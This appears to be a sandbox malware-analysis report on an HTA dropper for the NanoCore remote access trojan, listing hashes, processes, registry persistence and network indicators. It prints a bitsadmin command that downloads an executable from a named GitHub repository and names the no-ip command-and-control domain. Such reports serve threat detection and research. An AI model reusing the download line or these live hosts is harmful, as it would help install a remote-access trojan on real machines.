File name:

payload.hta

Full analysis: https://app.any.run/tasks/41820926-506c-4764-a4a8-91dbde78fb56
Verdict: Malicious activity
Threats:

NanoCore is a Remote Access Trojan or RAT. This malware is highly customizable with plugins which allow attackers to tailor its functionality to their needs. Nanocore is created with the .NET framework and it’s available for purchase for just $25 from its “official” website.

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Analysis date: June 04, 2025, 20:47:54
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
github
auto-reg
auto
nanocore
Indicators:
MIME: text/html
File info: HTML document, ASCII text, with CRLF line terminators
MD5:

B23B365406D628CA8BC9AF79C1AAA25F

SHA1:

04774DC4147780C4F2B1BCD7D7BEA35DA92AFEDB

SHA256:

0BCE5CB564DE0E147198DD491B1B645C3F84B8A919EE0D4D852DC792BE7245C0

SSDEEP:

24:hMNmMvy4GqptEIjb18qezOQp8xuY8yu5yocl88e/ZM8E4olEC:ImMqopOIjb18Jd4uco7yt40F

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  • MALICIOUS

    • Changes the autorun value in the registry

      • payload.exe (PID: 2244)

    • NANOCORE has been found (auto)

      • payload.exe (PID: 2244)

    • Downloads files via BITSADMIN.EXE

      • mshta.exe (PID: 7752)

    • NANOCORE has been detected (YARA)

      • payload.exe (PID: 2244)

  • SUSPICIOUS

    • Runs shell command (SCRIPT)

      • mshta.exe (PID: 7752)

    • The process creates files with name similar to system file names

      • payload.exe (PID: 2244)

    • Executable content was dropped or overwritten

      • payload.exe (PID: 2244)

  • INFO

    • Reads Internet Explorer settings

      • mshta.exe (PID: 7752)

    • Checks supported languages

      • payload.exe (PID: 2244)
      • lanhost.exe (PID: 7036)

    • Creates files or folders in the user directory

      • payload.exe (PID: 2244)

    • Process checks whether UAC notifications are on

      • payload.exe (PID: 2244)

    • Reads the machine GUID from the registry

      • payload.exe (PID: 2244)
      • lanhost.exe (PID: 7036)

    • Reads the computer name

      • payload.exe (PID: 2244)
      • lanhost.exe (PID: 7036)

    • Manual execution by a user

      • lanhost.exe (PID: 7036)

    • Launching a file from a Registry key

      • payload.exe (PID: 2244)

    • Reads the software policy settings

      • slui.exe (PID: 1600)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.htm/html | HyperText Markup Language with DOCTYPE (80.6)
.html | HyperText Markup Language (19.3)

EXIF

HTML

ContentType: text/html; charset=utf-8
No data.
screenshot
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Total processes
137
Monitored processes
9
Malicious processes
2
Suspicious processes
0

Behavior graph

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start mshta.exe no specs bitsadmin.exe no specs conhost.exe no specs sppextcomobj.exe no specs slui.exe #NANOCORE payload.exe svchost.exe lanhost.exe no specs slui.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1600"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exe
SppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
2196C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
2244"C:\Users\admin\payload.exe" C:\Users\admin\payload.exe
mshta.exe
User:
admin
Integrity Level:
MEDIUM
Modules
Images
c:\users\admin\payload.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\mscoree.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
6700C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exe—svchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
6740\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—bitsadmin.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7036"C:\Users\admin\AppData\Roaming\BB926E54-E3CA-40FD-AE90-2764341E7792\LAN Host\lanhost.exe"C:\Users\admin\AppData\Roaming\BB926E54-E3CA-40FD-AE90-2764341E7792\LAN Host\lanhost.exe—explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\roaming\bb926e54-e3ca-40fd-ae90-2764341e7792\lan host\lanhost.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\mscoree.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
7184C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
7428"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://github.com/mimmort88/popino/raw/main/jij.exe C:\Users\admin\payload.exeC:\Windows\SysWOW64\bitsadmin.exe—mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
BITS administration utility
Exit code:
0
Version:
7.8.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\bitsadmin.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\ucrtbase.dll
c:\windows\syswow64\combase.dll
7752"C:\Windows\SysWOW64\mshta.exe" C:\Users\admin\AppData\Local\Temp\payload.hta {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}C:\Windows\SysWOW64\mshta.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
3221225547
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\advapi32.dll
Total events
2 370
Read events
2 366
Write events
4
Delete events
0

Modification events

(PID) Process:(7752) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(7752) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(7752) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(2244) payload.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:LAN Host
Value:
C:\Users\admin\AppData\Roaming\BB926E54-E3CA-40FD-AE90-2764341E7792\LAN Host\lanhost.exe
Executable files
1
Suspicious files
1
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
2244payload.exeC:\Users\admin\AppData\Roaming\BB926E54-E3CA-40FD-AE90-2764341E7792\LAN Host\lanhost.exeexecutable
MD5:170766DD706BEF08F2D36BB530EA2AC6
SHA256:B11EF309A0B65E448D06275293B125714F6A9A796EED61ABA45B70ECA4EC9176
2244payload.exeC:\Users\admin\AppData\Roaming\BB926E54-E3CA-40FD-AE90-2764341E7792\run.datbinary
MD5:5C8F1567420DB8DB38E63EF8BAFAC398
SHA256:5ACF2A4E848FF7D2AD7D3897E929181E84E0A98600EE4A4845CE3E91BFF5A0E1
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HTTP(S) requests
5
TCP/UDP connections
22
DNS requests
44
Threats
30

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5496
MoUsoCoreWorker.exe
GET
200
184.25.50.10:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
5496
MoUsoCoreWorker.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
23.54.109.203:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
7568
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
7568
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
5864
RUXIMICS.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5496
MoUsoCoreWorker.exe
184.25.50.10:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
5496
MoUsoCoreWorker.exe
23.35.229.160:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
3812
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
4164
svchost.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
6028
svchost.exe
140.82.121.4:443
github.com
GITHUB
US
whitelisted
6544
svchost.exe
40.126.31.73:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
  • 20.73.194.208
whitelisted
google.com
  • 142.250.185.238
whitelisted
crl.microsoft.com
  • 184.25.50.10
  • 184.25.50.8
whitelisted
www.microsoft.com
  • 23.35.229.160
whitelisted
github.com
  • 140.82.121.4
whitelisted
login.live.com
  • 40.126.31.73
  • 40.126.31.129
  • 20.190.159.130
  • 40.126.31.67
  • 20.190.159.2
  • 40.126.31.2
  • 20.190.159.0
  • 20.190.159.64
whitelisted
ocsp.digicert.com
  • 23.54.109.203
whitelisted
raw.githubusercontent.com
  • 185.199.110.133
  • 185.199.109.133
  • 185.199.111.133
  • 185.199.108.133
whitelisted
client.wns.windows.com
  • 172.211.123.249
whitelisted
mim.no-ip.net
  • —
unknown

Threats

PID
Process
Class
Message
2196
svchost.exe
Not Suspicious Traffic
INFO [ANY.RUN] Attempting to access raw user content on GitHub
2244
payload.exe
Potentially Bad Traffic
ET DYN_DNS DYNAMIC_DNS Query to a Suspicious no-ip Domain
2244
payload.exe
Potentially Bad Traffic
ET DYN_DNS DYNAMIC_DNS Query to a Suspicious no-ip Domain
2196
svchost.exe
Potentially Bad Traffic
ET DYN_DNS DYNAMIC_DNS Query to a Suspicious no-ip Domain
2244
payload.exe
Potentially Bad Traffic
ET DYN_DNS DYNAMIC_DNS Query to a Suspicious no-ip Domain
2244
payload.exe
Potentially Bad Traffic
ET DYN_DNS DYNAMIC_DNS Query to a Suspicious no-ip Domain
2244
payload.exe
Potentially Bad Traffic
ET DYN_DNS DYNAMIC_DNS Query to a Suspicious no-ip Domain
2244
payload.exe
Potentially Bad Traffic
ET DYN_DNS DYNAMIC_DNS Query to a Suspicious no-ip Domain
2196
svchost.exe
Potentially Bad Traffic
ET DYN_DNS DYNAMIC_DNS Query to a Suspicious no-ip Domain
2244
payload.exe
Potentially Bad Traffic
ET DYN_DNS DYNAMIC_DNS Query to a Suspicious no-ip Domain
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